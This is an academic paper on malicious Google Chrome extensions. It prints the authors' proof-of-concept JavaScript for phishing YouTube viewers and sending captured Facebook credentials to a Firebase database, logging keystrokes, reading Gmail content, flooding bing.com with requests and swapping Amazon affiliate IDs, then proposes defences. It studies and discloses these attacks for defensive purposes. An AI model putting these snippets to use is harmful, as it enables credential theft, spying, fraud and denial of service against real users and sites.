Malicious Browser Extensions: A Growing Threat

A case study on Google Chrome: Ongoing Work in Progress

Gaurav Varshney
Department of CSE, IIT Roorkee
Roorkee, Uttarakhand, India
gauravdtsi@gmail.com

Sumant Bagade, Shreya Sinha
Department of IT, IIITM Gwalior
Gwalior, Madhya Pradesh, India
sumantbagade19@gmail.com , shreya0702@gmail.com

***Abstract*—Browser extensions are a way through which third party developers provide a set of additional functionalities on top of the traditional functionalities provided by a browser. It has been identified that the browser extension platform can be used by hackers to carry out attacks of sophisticated kinds. These attacks include phishing, spying, DDoS, email spamming, affiliate fraud, mal-advertising, payment frauds etc. In this paper, we showcase the vulnerability of the current browsers to these attacks by taking Google Chrome as the case study as it is a popular browser. The paper also discusses the technical reason which makes it possible for the attackers to launch such attacks via browser extensions. A set of suggestions and solutions that can thwart the attack possibilities has been discussed.**

Keywords—Browser extension, malicious browser extension, phishing, spying, Google Chrome, attacks.

I. INTRODUCTION

A. Browser Extensions

A web browser is an application which serves as a medium to gain access to the information resources on the World Wide Web. Big firms like Google, Mozilla and Microsoft have developed their own web browsers which either come packaged with the operating system itself or can be downloaded from their online stores. Presently, web browsers not only facilitate browsing websites but also offer additional services such as bookmarks, screenshots, and history tracking etc. to enhance user experience [1] . Evidently, the requirements of the user are not confined to these services and at the same time the browser cannot accommodate all the user demands as it would then become a heavy application. Henceforth, browser extensions which are small add-on programs are used to enhance the functionality of the browser, to help users to customize it according to their demands [2]. Browser development companies maintain their own extension stores from which users can download extensions and add them to the browser. Such a service is persuasive for developers who package various functionalities in the form of an extension and make it available on the extension store. Extensions like Grammar, Evernote, ad blockers, YouTube Downloader are being used extensively worldwide [3].

B. Malicious Browser Extensions (MEs)

Due to the global reach of the extension stores, it is compelling for attackers to target vulnerabilities or launch attacks via extensions. A malicious browser extension exploits vulnerabilities in the extension or the underlying architecture of the web browser or the security policies of extension store to launch full-fledged attacks. Malicious browser extensions can also be a threat to secure user authentication schemes [4, 5]. Some popular attacks that have occurred in the past via abuse of hosts, networks, and security policies are now being carried out via browser extensions [6]. *Table 1* lists recent attacks via malicious browser extensions [7-12] .

Table 1. Malicious Extension Based Attacks (Statistics)

Extension (Year): Attack Type	Extension Description	Attack Description
HoverZoom (2013): Keylogging	Browse images on websites by hovering over without clicking	Collecting online form data and selling users' keystrokes.
Tweet This Page (2014): Content Injection	Tweet a Page	Turned into an ad-injecting machine; started hijacking Google searches.
BBC News Reader (2014): Spying	Get latest news and articles	Tracks user browsing data.
Autocopy (2014): Spying	Select text and automatically copy to the clipboard	Sends a lot of user data back to its servers.
Hola Unblocker (2015): DDoS	Easy-access to region blocked content	Bandwidth from users of being sold to cover costs (powers botnets for attack)
Marauder's Map (2015): Spying	Plot your friends' location data from Facebook on a map	A hacker can know if you're not home, shops you visit frequently, who you spend most time with.
Viralands (2016): Phishing	"Verify your age" to access restricted content	Access to Facebook access token; login credentials stolen.
iCalc (2016): Webpage Manipulation	Functional Calculator	Creates a proxy and intercept web requests, taking commands and updates from a domain
Dubbed Copyfish (2017): Mal-Ads	Extract text from images, PDFs, videos	Equipped with ad injection capabilities.
Web Developer (2017): Affiliate Fraud	Adds a toolbar button to the browser with web developer tools	Substitute ads on browser, hijacking traffic from legit ad networks.

C. Contribution

The contributions of this paper are:

1. To identify and showcase a detailed case study of the sophisticated attacks which can be launched via a malicious browser extension.
2. To research and identify the reasons for malicious extension based attacks being possible over web browsers.
3. To list possible solutions that browser development companies or antiviruses and third parties can implement to secure users from ME based attacks.

II. MALICIOUS BROWSER EXTENSIONS (ME)

A. *Phishing attack*

Phishing [13, 14] is an effort in which an attacker pretending to be a genuine body traps an individual to provide sensitive data [15]. During our study of Google Chrome extensions, we discovered a stealth way of phishing YouTube users via MEs.

1) At the time of page load, our ME injects a dynamically generated phishing URL (containing the channel name) in the *description* of each YouTube video. The URL points to a *probable* social media page (Facebook (FB), in our case) and the user believes it to be an official FB page of the channel. The document interface is used to get the 'ChannelName' from the web page as shown in Figure 1.

```
var elements = document.getElementsByClassName("yt-user-info");
var testDivs = Array.prototype.filter.call(elements,
  function(elements){
  return elements.nodeName === 'DIV';
});
return channelName = testDivs[0].innerText;
```

Figure 1: Extracting 'ChannelName' from video description.

2) On clicking the URL, the user is redirected to the phishing FB login page hosted on Firebase [16] which requests the user to login with his FB credentials in order to *'like'* the channel's page. Being served on https, it increases the possibility of the user believing the page to be genuine. A seasoned developer can deploy such a phishing setup in 15-20 minutes.

3) Upon entering the login credentials on the phished page, the received credentials are relayed to the genuine FB website in a new tab or a 404-error message is displayed to signal any network error. Interestingly, the user credentials are captured and stored in our Firebase Database as shown in Figure 2.

```
var email = document.getElementById('email').value;
var password = document.getElementById('pass').value;
var userDetails= {email : email, password : password};
firebase.database().ref().push(userDetails,function(err){
        firebase.database().ref().push({
            email : userDetails.email,
            password : userDetails.password
        });
})
```

Figure 2: Pushing user credentials to Firebase.

Modern web applications are a Single Page Application (SPA) where all code is retrieved with a single page load. Our ME continuously tracks changes in the URL using the window.history object as shown in Figure 3. When the URL changes, the phished link gets reinjected in the description of the new video (with a new 'ChannelName'). This makes the phishing attack possible even on modern web applications.

```
var oldURL = window.history.state["spf-referer"];
var newURL = window.location.href;
if(!(oldURL == newURL)){
  if(!document.getElementById("fake-link")){
      addElement();
  }
}
```

Figure 3: Monitoring URL changes.

B. *Spying Attacks*

Keylogging is a spying attack involving the covert recording of keystrokes made on the keyboard. MEs with the ability to record keystrokes can reveal financial transactions and logins [17]. Dynamic web pages ask users to type in data through <input> tags. KeyboardEvent objects in the browser define user interaction with the keyboard [18]. Our ME adds an EventListener to the keypress event as shown in Figure 4 and captures keystrokes of the user, the URL and user details and stores it in a remote database or the local chrome storage. It can be extended to capture the timestamp and to send real time logs via HTTP's message APIs to SMSs or emails.

```
document.addEventListener('keypress', function (e) {
    e = e || window.event;
    var charCode = typeof e.which == "number"
    ? e.which : e.keyCode;
       if (charCode) {
        log(String.fromCharCode(charCode));
    }
});
```

Figure 4: Logging user's keystrokes.

Properties of keypress event such as key, keyCode, ctrlKey, altKey, and shiftKey can help in identifying the keystroke pattern of the user *(hotkeys)* and carry out advanced attacks. Web pages which receive sensitive data are served on https which encrypts the data before relaying it to the network. Interestingly, our ME does not rely on the user to submit the data to the web server and works in-situ.

C. *Email Spamming and Email Inbox Spying*

MEs can spy on emails accessing private data and harming the user's privacy [19]. Observations on Gmail revealed that email data are arranged in table rows. An ME can extract an email's metadata via page source or iterate over the DOM to get all rows of an email as shown in Figure 5. MEs can also generate popups in the background for a short time to capture the page source or to get the relevant set of DOM elements from the web page. The ME can, thus, perform email spying in the background without requiring the user to log in every time.

```
var address=window.location.href;
var cl,message,tbody;
var textContent = [];var answer = " ";
if(address.indexOf("https://mail.google.com/mail/")>-1){
    cl="a3s aXjCH";
}
var text=document.getElementsByClassName(cl);
for(i=0;i<text.length;i++){
message = document.getElementsByTagName('P');
    for(var j=2;j<message.length;j++){
    answer += message[j].innerText + "\n" + "\n";
    }
}
window.alert(answer);
```

Figure 5: Extracting content from an email inbox.

D. *Distributed Denial of Service Attacks (DDoS)*

A DDoS attack attempts to make an online service unavailable by overwhelming it with traffic from multiple sources [20]. MEs can aid in DDoS attacks by sending huge amount of network packets to a server from a user's browser. Our ME launched a DDoS attack on bing.com as follows:

1) The ME creates *iframes* by sending GET requests to bing.com and attaches them to the body of the webpage. They point to a valid URL randomly querying *bing.com*. The HTTP response (200 OK) indicates a successful request. The request is initiated every 8 seconds by the *document* interface of the *Document Object Model (DOM)* as shown in Figure 6 [21].

```
var link = document.createElement("a");
link.href = "https://www.bing.com/";
var input= document.createElement("iframe");
input.src = "https://www.bing.com/search?q=" + Math.random()
          .toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
link.appendChild(input);
document.body.appendChild(link);
```

Figure 6: Injecting iframes to body of webpage.

2) Alternatively, our ME floods *bing.com* with GET requests by querying for images. Figure 7 depicts specification of image categories to get a valid response from *bing.com*.

```
var randomCategory = window.wallpapersCategories[Math.floor
        (Math.random()*(window.wallpapersCategories.length))];
var xhttp = new XMLHttpRequest();
xhttp.responseType = 'document';
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      sortHTTPSlinks(this);
    }};
xhttp.open("GET", "https://www.bing.com/images/search?q="
        + randomCategory + "&FORM=HDRSC2", true);
xhttp.send();
```

Figure 7: Getting image wallpapers from *bing.com*.

The valid HTTPS image links from the responses were filtered as shown in Figure 8.

```
var x, i, xmlDoc;xmlDoc = xml.responseXML;
x = xmlDoc.getElementsByTagName("img");
for(i = 0; i< x.length; i++) {
  if( x[i].hasAttribute("data-src")){
      var imageSource = x[i].getAttribute("data-src");
      window.mImages.push(imageSource);
  }
}
```

Figure 8: Filtering relevant links from response.

The filtered links are pushed to a global array of image links and which replaces every <img> tag with the value of data-src attribute. The images are updated in real time as the function querying Bing is called every 5 seconds as shown in Figure 9.

```
var container = document.getElementsByTagName("img");
for(var i=0,j=0;i<container.length;i++,j++){
  if(j>mImages.length){
    j=0;}
  container[i].src = window.mImages[i];
}
```

Figure 9: Code to replace image tags on web page

XMLHttpRequest provided by the browser's JavaScript (JS) environment interacts with servers [22]. The setInterval() method calls the query function repeatedly after a specified interval [23]. A valid response in the form of webpage images can be seen on YouTube where video thumbnails are replaced by images from Bing. Notably, it was found that Google could detect such automated queries in 10-15 minutes of its execution resulting in blocked access to Google on our network while Bing could not do so. Consequently, Bing's web server can be bought down by such ME based attacks.

E. *Affiliate Frauds*

Online merchants, like Amazon, pay commission to affiliate websites when someone clicks a link on their website that leads to a sale. The browser undergoes several redirections through an affiliate partner network. As the URLs get loaded in the background, attributes such as affiliate ID are appended along with the essential information required to identify the user [24]. A typical affiliate link resembles: *http://www.amazon.com/dp/ASIN/?tag=my_affiliate_ID.* An attacker can use MEs to carry out affiliate fraud with the intention of cheating merchants by deceiving them into paying commissions to them. This is done by changing the tag "my_affiliate_ID to "fraud_affiliate_ID". The extension stealthily tracks websites that the user opens. If the current website is in the list of targeted websites, the extension deceptively associates all of the user's activities and eventual purchases on a website to an affiliate that never actually referred the user. This can be done by either adding parameters to the URL or replacing the legitimate affiliate code with the custom code. Whenever the tab is updated, it notifies *chrome.tabs.onUpdated.addListener()* [25] which adds or changes the affiliate ID in the affiliate link redirection. Figure 10 shows the script which can do such a replacement.

```
if (document.getElementsByTagName('a')[counter].href.match('amazon')) {
var x = document.getElementsByTagName('a')[counter].href;
 var m = x.indexOf('tag=');
var value= x.substr(m).split('&')[0].split('=')[1];
var res = x.replace(value, "dummy");
 document.getElementsByTagName('a')[counter].href= res;
```

Figure 10: Code to change affiliate ID

Target website: *Amazon;* Retrieve: Portion of URL after *'tag='* (this stores the legitimate affiliate ID); Replace: Custom affiliate ID (here, *'dummy'*). The extension successfully changes the URL to reflect the attacker as a genuine affiliate. Such a fraud is difficult to detect because it operates within the browser's context, the genuine user is logged-in and cannot be discriminated from the malware.

F. *Other Attacks*

1) *Web page manipulation leading to payment frauds*

The deceptive alteration of content of the original web-page yielding benefits to the attacker is known as web page manipulation. A shopping website data <input type="hidden" id="56478" name="cost" value="100"> can be manipulated to display reduced cost by changing value="50". The attacker can then claim the price to be so [26, 27]. In Chrome, content scripts, authored in JS, have access to the DOM of the webpage and can converse with external servers using *XMLHttpRequest*. MEs leverage this property to manipulate the web page's content by injecting content scripts into the page or using *webRequest* API [28]. An ME can also dynamically change the legitimate ad on a website, displaying an ad beneficial to the attacker. The website remains unaware of such a manipulation, thereby losing crucial revenue from genuine ads. If HTML forms on the web page use GET method all form elements are displayed in the URL. When a legitimate user sends the request: *http://www.innocent.com/query?account=987&debit=1000,* the attacker can manipulate it to *http://www.innocent.com/query?account=654&credit=1000.*

2) *Mal-advertising*

Disseminating malware through advertisements on websites is known as mal-advertising. Pop-up ads, in-content ads, hidden iframes and malicious banners are common means of mal-advertising [29]. Since the content scripts have access to the entire DOM of the webpage, inserting ads is a trivial task. The scripts can hijack and replace the legitimate ads. They can also assign a uniqueID to the user and trace further web visits. Chrome uses the system-wide proxy settings which can be leveraged by an attacker to route all traffic through a proxy server he controls. If the attacker substitutes the DNS servers with his own rogue servers, malicious JS script can inject rogue ads into websites when viewed by users. The image replacement scheme discussed under DDoS attack can also be used to spread malware through mal-advertising. The graphic files can serve as an abode to malicious links.

III. UNDERSTANDING THE REASONS BEHIND ME BASED ATTACKS

1) ***Overlooking important permissions*:** To capture screenshots, Chrome offers *chrome.desktopCapture* API containing the "desktopCapture" permission which the user needs to grant to an extension thus, preventing unauthorized screen capture. However, MEs can log keystrokes of the user

using simple JS event handlers as the Chrome Extension Architecture does not enforce user permissions for it. The JS code that logs the keystrokes runs in the browser process and is difficult for conventional anti-virus systems to detect.

2) ***Lenient Update Policies***: When extensions are published to the webstore, updates can be pushed to it without any check from the webstore. Such updates can act as a communication channel between the extension and the attackers who can inject malicious code into the extension and can carry out a controlled DDoS attack [30]. The information such as frequently visited websites can be obtained and be used in future updates to target a specific organization by sending large number of network packets from multiple system for large-scale DDOS attacks without the user's knowledge.

3) *Information Leakage:* In Chrome, each tab (each opened web page) runs as a distinct render process in a sandboxed environment. The extension core runs as a separate process with no access to the render processes [31]. Interestingly, content scripts injected by extensions can access the DOM of the webpage and can pass messages to the extension core. Thus, the sensitive data in one tab can not only be accessed by the extension core but also by all other tabs. For example, an extension notifies the user if lower prices for a product exist. Working in the background, it has access to all the browsing history which can be relayed further for malicious use. Such leakage can serve as a breeding ground for spying attacks.

4) *Adjunct permissions*: Users are unaware of the repercussions of the permissions that extensions seek and have become habituated to blindly grant permissions with the increase in the number of extension [32]. Also, developers ask for more permissions than required because if an update to the extension needs extra permissions, the extension is inactivated until the user grants those permissions. Fearing the removal of extension in the absence of user agreement, the developers usually have an over-qualified extension. Permission specification is surely necessary, but it is inadequate if most extensions require access to everything.

5) *Ease-of-use of Extension APIs*: Chrome offers a lavish set of APIs which renders enforcing the *principle of least privilege* difficult. Whenever an extension has access to an API, it automatically can access all the methods of that API. For example, given an extension with access to the bookmarks API, the update method can be used to replace a current URL with a malicious URL leading to phishing attack. The *getVisits* method of history API can reveal browsing history of the user leading to spying attack [33]. A DoS attack can be launched by using images property of *contentSettings* API to block images in webpage.

IV. EXISTING SOLUTIONS

The existing solutions can be categorized into prevention and detection solutions. Prevention solutions proposed by previous researchers need changes in the HTML scripting through which additional attributes can be added to the HTML elements [34]. The additional attributes can be read by the browser to identify the sensitivity level of the elements to decide if a browser extension must be permitted to access it. Prevention solutions also propose changes in extension development architecture to incorporate stricter access control policies and permission specifications to avoid attacks that happens through a generic permission model [35]. Prevention strategies that detect modification of browser extension code base and identification of access to important variables in the memory have also been proposed and discussed in the past. Most of the detection solutions can be classified into static code analysis based solutions, dynamic flow analysis based solutions [36] and hybrid solutions [37]. Static code analysis based solutions match malicious JavaScript signatures to detect malicious browser extensions. Dynamic analysis based solutions analyze dynamic execution flows of the browser extension to detect anomalous behavior. Hybrid solutions involve static analysis, dynamic analysis and human expert verification and other validation techniques to flag malicious browser extensions.

The challenges with prevention based solutions is that they need global acceptance and changes in the underlying platform to be acceptable. Static code analysis based solutions do not have signature for all the attacks due to which most of the attacks during our experimentation remain undetected. Tools such as Chrome Cleanup tool [38] and Chrome Safe Guard [39] are also not equipped with detection of cyber-attacks via malicious browser extensions. Dynamic detection solutions are compute intensive as they always analyze execution flows when the browser extensions are executing. Hybrid solutions are a good way to incorporate the benefits of static and dynamic detection solutions with human experts. These solutions are still compute intensive and not much work has been done in this area.

V. SUGGESTIONS AND SOLUTIONS

We present a set of suggestions which can provide directions for future research work in this area.

1) Extension Certification: To establish the legitimacy of browser extensions and their permission specification, they can be associated with digitally signed certificates indicating their authenticity. A trusted third party Certifying Authority (CA) can issue a clearance certificate for a browser extension after verifying (i) the authenticity of the developer, (ii) the purpose of the browser extension and (iii) whether it follows the *least privilege* permission specification. The CA can also assign a penetration level to the extension based on the amount of user information it can access and the sensitivity of user information. The penetration levels that can be assigned are: *surface, shallow, deep*, where *surface* denotes minimum access to user data while *deep* denotes maximum access. Whenever a browser extension is uploaded to the webstore, the developer can also upload the corresponding clearance certificate. The user can now distinguish between extensions which are (i) certified and noncertified (ii) less penetrating and more penetrating. In case of any discrepancies during subsequent extension updates, the CA can revoke the certificate issued earlier.

2) User-centric permission model: The current extension permission specifications are not intuitive from the users' perspective. The privacy model developed should be comprehensible for the user. The user-centric permission model can have two segments- Developer dependent and User dependent. *(i) Developer Dependent:* The browser should provide the user with fine-grained permission specifications so that he/she is able to make a well-informed decision about the extension installation. The browser should offer an even more discrete permission specification requirement in the

manifest.json file. For example, the permission to read all data should be further drilled down to specify which all fields the extension is reading- textbox, username, passwords, hidden fields etc. Consequently, whenever a user installs an extension, he/she is provided with exact information that the extension is accessing. *(ii) User Dependent:* A user can be given the power to manage an extension's permissions in real time- based on his/her preferences. This enables giving user the power to enforce his right to privacy during browsing. A user can block an extension's access to certain webpages. For example, a user can prevent any extension from running in background during carrying out financial transactions to thwart out possibility of any spoofing, even if without intent. The user can be provided with a *watchtower manager* (analogous to the bookmark manager) to shortlist URLs and domain names of his preference where he doesn't want any monitoring by an extension in the background.

3) Signaling undesired changes in webpage (Alteration Indication): The strength of malicious browser extensions is that the naïve user is completely oblivious to their activities. MEs deceptively make alterations to the webpage or the tab such that the user believes it to be coming from the webpage itself. An efficient solution could be pointing out the differences between the changes made by extensions and changes made by the web page server. A change in DOM manipulation can be detected in real time when the user is browsing the web page. Such change in content of the webpage can be analyzed to classify whether it is useful or webpage specific or irrelevant to webpage. The browser can detect whether the changes are server-side or extension-side. Whenever an extension attempts to make any changes to the webpage or the URL, the browser should notify the user by adding a colored overlay on that portion of the tab. An irrelevant change in web page content can be detected by highlighting the change using specific color codes. The color codes can vary according to reputation of the extension as well as type of DOM manipulation. Such functionality can alert the user of undesired changes in content of webpage and can help in identifying malicious extensions. For example, if an extension targeting affiliate fraud makes changes to the URL, the user should be immediately alerted of the same by changing color of the changed affiliate ID portion of the URL. It can be then left to the discretion of the user to judge for himself/herself whether the change is acceptable or malicious.

APPENDIX

1. Video describing an extension created to showcase an affiliate ID. https://youtu.be/tPxdDOyF5g8
2. Video describing an extension created to showcase a DDoS attack. - https://youtu.be/AG3Q_huSOhI
3. Video describing an extension created to showcase Email spying. https://youtu.be/W7W9_UZOnT8
4. Video describing an extension created to showcase key logging. https://youtu.be/8p-UigKCuYc
5. Video describing an extension created to showcase phishing attack. https://youtu.be/eOOToaMdsWg

REFERENCES

[1] W. Boswell. (2017). *What is a web browser?* Available: https://www.lifewire.com/what-is-web-browser-3483197

[2] C. Hoffman. (2017). *Beginner geek: Everything you need to know about browser extensions*. Available: https://www.howtogeek.com/169080/beginner-geek-everything-you-need-to-know-about-browser-extensions/

[3] J. Corpuz. (2017). *41 Best Google Chrome Extensions*. Available: https://www.tomsguide.com/us/pictures-story/283-best-google-chrome-extensions.html

[4] S. Shivani, P. Singh, and S. Agarwal, "A Dual Watermarking Scheme for Ownership Verification and Pixel Level Authentication," in *Proceedings of the 9th International Conference on Computer and Automation Engineering*, pp. 131-135.

[5] G. Varshney, M. Misra, and P. Atrey, "Push Notification Based Login Using BLE Devices," in *2nd International Conference on Information Technology, Information Systems, and Electrical Engineering*, Yogyakarta,Indonesia, 2017.

[6] L. Liu and X. Zhang, "Chrome Extensions: Threat Analysis and Countermeasures."

[7] M. Maunder. (2017, August 17). *PSA: 4.8 Million Affected by Chrome Extension Attacks Targeting Site Owners*. Available: https://www.wordfence.com/blog/2017/08/chrome-browser-extension-attacks/

[8] D. Price. (2015, July 13). *4 Malicious Browser Extensions That Help Hackers Target Their Victims* Available: http://www.makeuseof.com/tag/x-malicious-browser-extensions-help-hackers-target-victims/

[9] R. Amadeo. (2014). *Adware vendors buy Chrome Extensions to send ad- and malware-filled updates*. Available: https://arstechnica.com/information-technology/2014/01/malware-vendors-buy-chrome-extensions-to-send-adware-filled-updates/

[10] M. Kjaer. (2016). *Malware in the browser: how you might get hacked by a Chrome extension*. Available: https://kjaer.io/extension-malware/

[11] T. Pham. (2016). *Malicious Browser Extensions Steal User Data*. Available: https://duo.com/blog/malicious-browser-extensions-steal-user-data

[12] T. Spring. (2017). *Copyfish Browser Extension Hijacked to Spew Spam*. Available: https://threatpost.com/copyfish-browser-extension-hijacked-to-spew-spam/127125/

[13] G. Varshney, M. Misra, and P. K. Atrey, "A phish detector using lightweight search features," *Computers & Security,* vol. 62, pp. 213-228, 2016.

[14] G. Varshney, M. Misra, and P. K. Atrey, "A survey and classification of web phishing detection schemes," *Security and Communication Networks,* vol. 9, pp. 6266-6284, 26 OCT 2016 2016.

[15] R. Dhamija, J. D. Tygar, and M. Hearst, "Why phishing works," presented at the Proceedings of the SIGCHI Conference on Human Factors in Computing Systems, Montréal, Québec, Canada, 2006.
[16] Firebase. (2017, September 19). *Read and Write Data on the Web*. Available: https://firebase.google.com/docs/database/web/read-and-write
[17] P. Tuli and P. Sahu, "System monitoring and security using keylogger," *International Journal of Computer Science and Mobile Computing,* vol. 2, pp. 106-111, 2013.
[18] I. Kantor. (2017). *Keyboard: keydown and keyup*. Available: https://javascript.info/keyboard-events
[19] J. L. (2014, December 17). *Google blocks Gmail add-ons that can spy on your messages*. Available: https://www.neowin.net/news/google-blocks-gmail-add-ons-that-can-spy-on-your-messages
[20] S. M. Specht and R. B. Lee, "Distributed Denial of Service: Taxonomies of Attacks, Tools, and Countermeasures," in *ISCA PDCS*, 2004, pp. 543-550.
[21] M. Olsson, "Document Object Model," in *JavaScript Quick Syntax Reference*, ed: Springer, 2015, pp. 39-44.
[22] Mozilla. (2017, July 2). *XMLHttpRequest*. Available: https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
[23] Mozilla. (2017, August 12). *WindowOrWorkerGlobalScope.setInterval()*. Available: https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval
[24] B. Edelman and W. Brandi, "Risk, information, and incentives in online affiliate marketing," *Journal of Marketing Research,* vol. 52, pp. 1-12, 2015.
[25] G. Chrome. (2017). *chrome.tabs*. Available: https://developer.chrome.com/extensions/tabs
[26] C. Security. (2017). *Parameter Manipulation*. Available: http://www.cgisecurity.com/owasp/html/ch11s04.html
[27] C. W. Enumeration. (2017, May 5). *External Control of Assumed-Immutable Web Parameter*. Available: cwe.mitre.org/data/definitions/472.html
[28] G. Chrome. (2017). *chrome.webRequest*. Available: https://developer.chrome.com/extensions/webRequest
[29] M. Rouse. (2011, June). *Malvertisement*. Available: http://searchsecurity.techtarget.com/definition/malvertisement-malicious-advertisement-or-malvertising
[30] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian, "Analyzing the dangers posed by Chrome extensions," in *Communications and Network Security (CNS), 2014 IEEE Conference on*, 2014, pp. 184-192.
[31] N. Carlini, A. P. Felt, and D. Wagner, "An Evaluation of the Google Chrome Extension Security Architecture," in *USENIX Security Symposium*, 2012, pp. 97-111.
[32] A. P. Felt, K. Greenwood, and D. Wagner, "The effectiveness of application permissions," in *Proceedings of the 2nd USENIX conference on Web application development*, 2011, pp. 7-7.
[33] P. K. Akshay Dev and K. P. Jevitha, "STRIDE Based Analysis of the Chrome Browser Extensions API," in *Proceedings of the 5th International Conference on Frontiers in Intelligent Computing: Theory and Applications : FICTA 2016, Volume 2*, S. C. Satapathy, V. Bhateja, S. K. Udgata, and P. K. Pattnaik, Eds., ed Singapore: Springer Singapore, 2017, pp. 169-178.
[34] L. Liu, X. Zhang, G. Yan, and S. Chen, "Chrome Extensions: Threat Analysis and Countermeasures," in *In Proceedings of the Network and Distributed System Security Symposium (NDSS*, 2012.
[35] A. Guha, M. Fredrikson, B. Livshits, and N. Swamy, "Verified security for browser extensions," in *Security and Privacy (SP), 2011 IEEE Symposium on*, 2011, pp. 115-130.
[36] C. G. Alexandros Kapravelos, Neha Chachra, Christopher Kruegel, Giovanni Vigna, Vern Paxson, "Hulk: Eliciting Malicious Behavior in Browser Extensions," 2014, pp. 641-654.
[37] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab*, et al.*, "Trends and Lessons from Three Years Fighting Malicious Extensions," in *USENIX Security Symposium*, 2015, pp. 579-593.
[38] G. Chrome. (2017). *Chrome Cleanup Tool* Available: https://www.google.com/chrome/cleanup-tool/index.html
[39] C. A. Dev. (2017). *Chrome Safe Guard*. Available: https://chrome.google.com/webstore/detail/chrome-safe-guard/bfpoaihndjklkeidejbgjaadeidhfenm?hl=en